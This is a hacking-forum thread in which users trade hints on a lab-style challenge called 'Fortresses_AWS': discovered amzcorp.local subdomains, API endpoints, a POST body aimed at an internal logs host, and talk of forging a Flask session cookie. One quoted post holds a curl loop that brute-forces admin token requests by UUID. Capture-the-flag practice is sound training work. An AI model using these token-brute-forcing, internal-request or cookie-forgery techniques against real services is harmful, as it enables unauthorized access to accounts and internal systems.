Fortresses_AWS
by - Thursday, January 1, 1970 at 12:00 AM
(July 13, 2022, 03:58 PM)teksius Wrote:
(July 13, 2022, 11:45 AM)fironeDerbert Wrote: How are we supposed to use the token ? Is it a cookie ? a loalStorage ?


In cookies: api_token
Does anybody able to edit user?


Hi, sorry to bother you but what page/api endpoit are we supposed to load with this cookie added ?
Reply
Even with the cookie nothing changes... This page http://jobs.amzcorp.local/api/v4/logs/get still return "Unauthorized Access!"
Reply
Found: http://jobs.amzcorp.local/api/v4/status
{
  "site_status": [
    {
      "site": "amzcorp.local",
      "status": "OK"
    },
    {
      "site": "jobs.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "services.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "cloud.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "inventory.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "workflow.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "company-support.amzcorp.local",
      "status": "OK"
    }
  ]
}
Reply
(July 14, 2022, 10:31 AM)kaerbannog Wrote: Found: http://jobs.amzcorp.local/api/v4/status
{
  "site_status": [
    {
      "site": "amzcorp.local",
      "status": "OK"
    },
    {
      "site": "jobs.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "services.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "cloud.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "inventory.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "workflow.amzcorp.local",
      "status": "OK"
    },
    {
      "site": "company-support.amzcorp.local",
      "status": "OK"
    }
  ]
}

You can use the method POST on the status endpoint
Reply
Its a flask cookie. So I'm assuming we need to leak the flask secret somehow and then forge a cookie?
Reply
query the logs domain

{
"site": "http://logs.amzcorp.local/",
"url": "http://logs.amzcorp.local",
"scheme": ""
}
Reply
(July 15, 2022, 01:30 AM)mceye Wrote: query the logs domain

{
    "site": "http://logs.amzcorp.local/",
    "url": "http://logs.amzcorp.local",
    "scheme": ""
}


Where did you find that subdomain? I found jobs, cloud, workflow, company-support and inventory so far.
Reply
[quote="hacker1111" pid="146001" dateline="1657645911"][code]for i in {950..975}; do echo -n '{"get_token":"True","uuid":'$i',"username":"admin"}' | base64; done | xargs -I{} curl -s -X POST "http://jobs.amzcorp.local/api/v4/tokens/get" --cookie "session=" -d '{"data":"{}"}' --header "Content-Type: application/json"[/code][code]Early Access Flag[/code][/quote]possibly it will be easy, but I need to understand how and why :(
Reply
(July 15, 2022, 01:34 AM)ryzen Wrote:
(July 15, 2022, 01:30 AM)mceye Wrote: query the logs domain

{
    "site": "http://logs.amzcorp.local/",
    "url": "http://logs.amzcorp.local",
    "scheme": ""
}


Where did you find that subdomain? I found jobs, cloud, workflow, company-support and inventory so far.


function GetLogData() {
    var log_table = document.getElementById('log_table');
    const xhr = new XMLHttpRequest();

    xhr.open('GET', '/api/v4/logs/get');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            log_table.append(this.response['log']);
        } else {
            log_table.append("Error retrieving logs from logs.amzcorp.local");
        }
    };
    xhr.send();
}
Reply
(July 15, 2022, 02:36 AM)mceye Wrote:
(July 15, 2022, 01:34 AM)ryzen Wrote:
(July 15, 2022, 01:30 AM)mceye Wrote: query the logs domain

{
    "site": "http://logs.amzcorp.local/",
    "url": "http://logs.amzcorp.local",
    "scheme": ""
}


Where did you find that subdomain? I found jobs, cloud, workflow, company-support and inventory so far.


function GetLogData() {
    var log_table = document.getElementById('log_table');
    const xhr = new XMLHttpRequest();

    xhr.open('GET', '/api/v4/logs/get');
    xhr.responseType = 'json';
    xhr.onload = function (e) {
        if (this.status == 200) {
            log_table.append(this.response['log']);
        } else {
            log_table.append("Error retrieving logs from logs.amzcorp.local");
        }
    };
    xhr.send();
}


ive been getting unauthorized access everytime ive tried since last night, any idea what im doing wrong?
Reply


 Users viewing this thread: Fortresses_AWS: No users currently viewing.